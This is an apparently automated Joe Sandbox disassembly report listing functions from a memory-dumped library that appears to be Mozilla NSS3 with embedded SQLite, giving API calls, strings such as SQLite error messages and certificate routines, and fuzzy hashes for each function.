Instruction ID: 38a3582f9b47894ec07e1b9163f6c450bf62e5d013bf55325099805f16b20c68
Opcode Fuzzy Hash: 951431e55c8273775fb87e4435106e14cb8d4b88530c849fdbc08890b6995f4c
Instruction Fuzzy Hash: D422BF71909301AFF700CF54CC85B6A77E1BF84308F15856CEA599F2A2EB72E855CB92

Function 6CF71F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CF725F3

Strings

multiple recursive references: %s, xrefs: 6CF722E0
too many references to "%s": max 65535, xrefs: 6CF72FB6
no tables specified, xrefs: 6CF726BE
no such table: %s, xrefs: 6CF726AC
cannot join using column %s - column not present in both tables, xrefs: 6CF732AB
table %s has %d values for %d columns, xrefs: 6CF7316C
'%s' is not a function, xrefs: 6CF72FD2
access to view "%s" prohibited, xrefs: 6CF72F4A
H, xrefs: 6CF7329F
no such index: "%s", xrefs: 6CF7319D
unsafe use of virtual table "%s", xrefs: 6CF730D1
%s.%s.%s, xrefs: 6CF7302D
%s.%s, xrefs: 6CF72D68
recursive reference in a subquery: %s, xrefs: 6CF722E5
a NATURAL join may not have an ON or USING clause, xrefs: 6CF732C1
too many columns in result set, xrefs: 6CF73012
H, xrefs: 6CF7322D
cannot have both ON and USING clauses in the same join, xrefs: 6CF732B5

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: c3eeb227b6c57b9de52263bcfd6bbf9630fec155327138e03b1c730fee4d1435
Instruction ID: f07bb2ae56d0cac3af8bbf33ef82357faef7eaac78c9b78475f2242426d95f06
Opcode Fuzzy Hash: c3eeb227b6c57b9de52263bcfd6bbf9630fec155327138e03b1c730fee4d1435
Instruction Fuzzy Hash: 62D29F71E04209DFDB24CF59E484BDEB7B1BF49308F28816AD855AB752D732E846CB60

Function 6CFAECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CFAED38

Part of subcall function 6CF44F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF44FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CFAEF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CFAEFE4

Part of subcall function 6D06DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CF45001,?,00000003,00000000), ref: 6D06DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CFAF087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CFAF129
sqlite3_mprintf.NSS3(optimize), ref: 6CFAF1D1
sqlite3_free.NSS3(?), ref: 6CFAF368

Strings

offsets, xrefs: 6CFAEFAF, 6CFAEFDF, 6CFAF01F
fts3_tokenizer, xrefs: 6CFAEE1A, 6CFAEEA8
fts4, xrefs: 6CFAF2AD
porter, xrefs: 6CFAED97
simple, xrefs: 6CFAED79
snippet, xrefs: 6CFAEF05, 6CFAEF37, 6CFAEF7C
matchinfo, xrefs: 6CFAF04F, 6CFAF082, 6CFAF0C2, 6CFAF0F2, 6CFAF124, 6CFAF169
optimize, xrefs: 6CFAF199, 6CFAF1CC, 6CFAF211
fts3tokenize, xrefs: 6CFAF30F
fts4aux, xrefs: 6CFAECF9
fts3, xrefs: 6CFAF247
unicode61, xrefs: 6CFAEDB5

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 67cc3523a44e0deb2c06d1f74cef21dd531ce436889505d363dad7134842b312
Instruction ID: 8a06099e9413106ebaf3c7170825cdfb5e753726a9e0b9d04d6c093758ea2305
Opcode Fuzzy Hash: 67cc3523a44e0deb2c06d1f74cef21dd531ce436889505d363dad7134842b312
Instruction Fuzzy Hash: 120227B1A047019BE7049FF1AC8572BB6B5AFC4308F24853CD8598B701EBB1E9478792

Function 6D027C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6D027C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6D027C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6D027D1E

Part of subcall function 6D027870: SECOID_FindOID_Util.NSS3(?,?,?,6D0291C5), ref: 6D02788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6D027D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6D027D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6D027DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6D027DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6D027DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6D027E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6D027E58

Part of subcall function 6D027870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D0291C5), ref: 6D0278BB
Part of subcall function 6D027870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6D0291C5), ref: 6D0278FA
Part of subcall function 6D027870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6D0291C5), ref: 6D027930
Part of subcall function 6D027870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6D0291C5), ref: 6D027951
Part of subcall function 6D027870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6D027964
Part of subcall function 6D027870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6D02797A
Part of subcall function 6D027870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6D027988
Part of subcall function 6D027870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6D027998
Part of subcall function 6D027870: free.MOZGLUE(00000000), ref: 6D0279A7
Part of subcall function 6D027870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6D0291C5), ref: 6D0279BB
Part of subcall function 6D027870: PR_GetCurrentThread.NSS3(?,?,?,?,6D0291C5), ref: 6D0279CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6D027E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6D027F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6D027F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6D027FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6D027FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6D028038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6D028050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6D028093
SECOID_FindOID_Util.NSS3 ref: 6D027F29

Part of subcall function 6D0207B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CFC8298,?,?,?,6CFBFCE5,?), ref: 6D0207BF
Part of subcall function 6D0207B0: PL_HashTableLookup.NSS3(?,?), ref: 6D0207E6
Part of subcall function 6D0207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D02081B
Part of subcall function 6D0207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D020825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6D028072
SECOID_FindOID_Util.NSS3 ref: 6D0280F5

Part of subcall function 6D02BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6D02800A,00000000,?,00000000,?), ref: 6D02BC3F

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 276750b885e2ddabfda071d74a4ee53fefc7e83a0e06c70ca3f62dd7323a1709
Instruction ID: 62fb5bee61ef8ae3cfbd987f712a767d0b921e2b4255ed64798679cdaefbde2a
Opcode Fuzzy Hash: 276750b885e2ddabfda071d74a4ee53fefc7e83a0e06c70ca3f62dd7323a1709
Instruction Fuzzy Hash: 24E18F75A093019FF751CF28C880B6AB7E5BF88318F55496CE98A9B351E731EC05CB92

Function 6CFB1C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CFB1C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CFB1C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6CFB1CA1
GetLengthSid.ADVAPI32(?), ref: 6CFB1CA9
malloc.MOZGLUE(00000000), ref: 6CFB1CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CFB1CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6CFB1CE4
GetLengthSid.ADVAPI32(?), ref: 6CFB1CEC
malloc.MOZGLUE(00000000), ref: 6CFB1CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CFB1D0F
CloseHandle.KERNEL32(?), ref: 6CFB1D17
AllocateAndInitializeSid.ADVAPI32 ref: 6CFB1D4D
GetLastError.KERNEL32 ref: 6CFB1D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6CFB1D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6CFB1D7A

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: be05a14417f87d8e96aa8fd0f90100297b505cd9b53f5e33d77533e4744a9b91
Instruction ID: 22ffc26a82aed90ad2d787dc0c38012478d2724264e3a6721158006ff79a3a9c
Opcode Fuzzy Hash: be05a14417f87d8e96aa8fd0f90100297b505cd9b53f5e33d77533e4744a9b91
Instruction Fuzzy Hash: 3C3180B1900218AFEB11DF64ED49BAABBB9EF4A304F004075FA18A2111E7715994CF65

Function 6CFB3D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CFB3DFB
__allrem.LIBCMT ref: 6CFB3EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CFB3FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CFB4047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CFB40DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CFB415F
__allrem.LIBCMT ref: 6CFB416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CFB4288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CFB42AB
__allrem.LIBCMT ref: 6CFB42B7

Strings

%03d, xrefs: 6CFB42E8
%lld, xrefs: 6CFB3FB2
%04d, xrefs: 6CFB407B
%02d, xrefs: 6CFB4086

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: d46de4bd0ad6c05b06a0687cbe4d91251147985b3a9799bc150f0f387416c8da
Instruction ID: 9acc48345e6854684265ea8e932811a34a0164991b25969fd4c7a9fe802e6f24
Opcode Fuzzy Hash: d46de4bd0ad6c05b06a0687cbe4d91251147985b3a9799bc150f0f387416c8da
Instruction Fuzzy Hash: B4F12272A087409FD715CF39C981B6BBBF6AF85348F148A2DF885A7651EB30D845CB42

Function 6CFBEF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFBEF63

Part of subcall function 6CFC87D0: PORT_NewArena_Util.NSS3(00000800,6CFBEF74,00000000), ref: 6CFC87E8
Part of subcall function 6CFC87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CFBEF74,00000000), ref: 6CFC87FD
Part of subcall function 6CFC87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CFC884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CFBF2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFBF2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CFBF30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CFBF374
PL_strcasecmp.NSS3(6D102FD4,?), ref: 6CFBF457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CFBF4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CFBF66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CFBF67D
CERT_DestroyName.NSS3(?), ref: 6CFBF68B

Part of subcall function 6CFC8320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CFC8338
Part of subcall function 6CFC8320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CFC8364
Part of subcall function 6CFC8320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CFC838E
Part of subcall function 6CFC8320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CFC83A5
Part of subcall function 6CFC8320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFC83E3

Part of subcall function 6CFC84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CFC84D9
Part of subcall function 6CFC84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CFC8528

Part of subcall function 6CFC8900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CFBF599,?,00000000), ref: 6CFC8955

Strings

*, xrefs: 6CFBF3C6
", xrefs: 6CFBF21B
oid., xrefs: 6CFBF2CF

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: afd72c32561e097f646cced24a57d5d52a5a2f9925a6afb24620100da1faa659
Instruction ID: 6803d07e07e163f3174d0d82ccf5e7fab3857a7acf6a3ef2f3086e588d556f6f
Opcode Fuzzy Hash: afd72c32561e097f646cced24a57d5d52a5a2f9925a6afb24620100da1faa659
Instruction Fuzzy Hash: C4225A7D60C3418BD754CE2AC89036BB7E6ABC5318F194A2EE8D5A7B91E7319C05CB43

Function 6CF61C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF61D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF61EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6CF61FB7

Strings

attached databases must use the same text encoding as main database, xrefs: 6CF620CA
unsupported file format, xrefs: 6CF62188
abort due to ROLLBACK, xrefs: 6CF62223
sqlite_temp_master, xrefs: 6CF61C5C
another row available, xrefs: 6CF62287
no more rows available, xrefs: 6CF62264
table, xrefs: 6CF61C8B
sqlite_master, xrefs: 6CF61C61
unknown error, xrefs: 6CF62291
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6CF61F83

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: 6bef181def792e56270453e3ae68e252c701d4b7334b07e6e2c0c615a097e6a0
Instruction ID: 40812509dc21754cbe6127ee73a1b9ca20577df2c73027c452b8a821a32c1e16
Opcode Fuzzy Hash: 6bef181def792e56270453e3ae68e252c701d4b7334b07e6e2c0c615a097e6a0
Instruction Fuzzy Hash: DC12C1716083419FD705CF1AC484B5ABBF2BF85318F19C96DE8958BB52D732E846CB82

Function 6CF85F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

BINARY, xrefs: 6CF88708, 6CF88737, 6CF887B8
-, xrefs: 6CF86228
ON clause references tables to its right, xrefs: 6CF86BEC
sub-select returns %d columns - expected %d, xrefs: 6CF8805F
2, xrefs: 6CF865B4
-, xrefs: 6CF862F9
NOCASE, xrefs: 6CF88703
u, xrefs: 6CF881DA

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: 7f26a34a5d929b20221988f6e9fa8e53bb3e2c76995f6f67a434b0670b60c15e
Instruction ID: 51192d16b4597becb7fc567f7d58f4786e616657cca54322ba05a8ac14213fe3
Opcode Fuzzy Hash: 7f26a34a5d929b20221988f6e9fa8e53bb3e2c76995f6f67a434b0670b60c15e
Instruction Fuzzy Hash: 3A4390756093418FD304CF19C490B1ABBF2BF89318F14866EF8998B796D731E846CB92

Function 6D02EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6D02C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6D02DAE2,?), ref: 6D02C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6D02F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6D02F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6D02F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6D02F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6D0F218C), ref: 6D02F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6D02F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6D02F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6D02F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6D02F210

Part of subcall function 6CFD52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6D02F1E9,?,00000000,?,?), ref: 6CFD52F5
Part of subcall function 6CFD52D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CFD530F
Part of subcall function 6CFD52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CFD5326
Part of subcall function 6CFD52D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6D02F1E9,?,00000000,?,?), ref: 6CFD5340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6D02F227

Part of subcall function 6D01FAB0: free.MOZGLUE(?,-00000001,?,?,6CFBF673,00000000,00000000), ref: 6D01FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6D02F23E

Part of subcall function 6D01BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CFCE708,00000000,00000000,00000004,00000000), ref: 6D01BE6A
Part of subcall function 6D01BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CFD04DC,?), ref: 6D01BE7E
Part of subcall function 6D01BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6D01BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6D02F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6D02F3A8

Part of subcall function 6D06C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D06C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6D02F3B3

Part of subcall function 6CFD2D20: PK11_DestroyObject.NSS3(?,?), ref: 6CFD2D3C
Part of subcall function 6CFD2D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CFD2D5F

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 719900eb1343050410627fbb39aeaa3372d2c04559d69eb51ad76f27428bfdcd
Instruction ID: 30ad4e81bd8ba8b7a2da7005d25f1dca4d3b223085fb305c4288ca6d8e8df3fb
Opcode Fuzzy Hash: 719900eb1343050410627fbb39aeaa3372d2c04559d69eb51ad76f27428bfdcd
Instruction Fuzzy Hash: 2CD170B6E052069FEB14CF9AD880BAEBBF9FF48348F158069D915A7311E731E905CB50

Function 6D05DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6D037FFA,00000000,?,6D0623B9,00000002,00000000,?,6D037FFA,00000002), ref: 6D05DE33

Part of subcall function 6D089090: TlsGetValue.KERNEL32 ref: 6D0890AB
Part of subcall function 6D089090: TlsGetValue.KERNEL32 ref: 6D0890C9
Part of subcall function 6D089090: EnterCriticalSection.KERNEL32 ref: 6D0890E5
Part of subcall function 6D089090: TlsGetValue.KERNEL32 ref: 6D089116
Part of subcall function 6D089090: LeaveCriticalSection.KERNEL32 ref: 6D08913F

